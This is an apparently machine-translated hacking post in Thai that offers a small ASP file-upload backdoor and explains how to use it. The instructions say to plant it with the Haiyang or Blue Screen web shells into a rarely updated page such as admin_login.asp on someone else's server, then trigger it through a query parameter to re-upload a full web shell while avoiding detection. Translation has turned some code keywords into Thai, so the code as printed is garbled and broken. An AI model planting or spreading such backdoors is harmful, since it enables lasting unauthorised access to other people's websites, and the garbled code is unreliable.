<%ถ้า request.querystring ("action") = "บันทึก" แล้ว
a = request.totalbytes: ถ้า a แล้ว b = "adodb.stream": set c = createObject (b): C.Type = 1: C.Open: C.Write Request.BinaryRead (A): C.Position = 0: D = C.Read: E = Chrb (13) h = createObject (b): h.type = 1: h.open: c.position = f+1: c.copyto h, gf-3: h.position = 0: h.type = 2: h.charset = "big5": i = h.readtext: h.close: j = mid (i, instrrev (i, "/")+1, g): k = instrb (d, e & e) +4: l = instrb (k+1, d, ซ้าย (d, f-1))-k-2: h.type = 1: h.open: c.position = k-1: c.copyto H, L: H.Savetofile Server.Mappath (J), 2%> <form Enctype = Multipart/Form-Data Method = Post> <input type = ชื่อไฟล์ = n> <อินพุตประเภท = ส่ง> </form>
<%end ถ้า%>
เหตุผล: สามารถอัปโหลดไฟล์ได้ง่ายขนาดเล็กและไม่ง่ายที่จะค้นพบ
ใช้: ก่อนอื่นใช้ Haiyang หรือ Blue Screen เพื่อแก้ไขม้าลงในไฟล์บางไฟล์ที่ไม่ง่ายต่อการอัปเดตเช่น admin_login.asp เมื่อใช้งานไฟล์ของคนอื่นเพียงป้อน admin_login.asp? action = เข้าสู่ระบบในเบราว์เซอร์เพื่ออัปโหลด Haiyang หรือ Blue Screen หลังจากการดำเนินการให้ใช้หน้าจอสีน้ำเงินและฟังก์ชั่นการลบด้วยตนเองอื่น ๆ เพื่อลบหน้าจอสีน้ำเงิน ฉันจะใช้สถานีนี้เพื่ออัปโหลดไปยัง Haiyang และในครั้งต่อไปเมื่อฉันกลับมา แทบจะไม่ถูกสอบสวนและฆ่า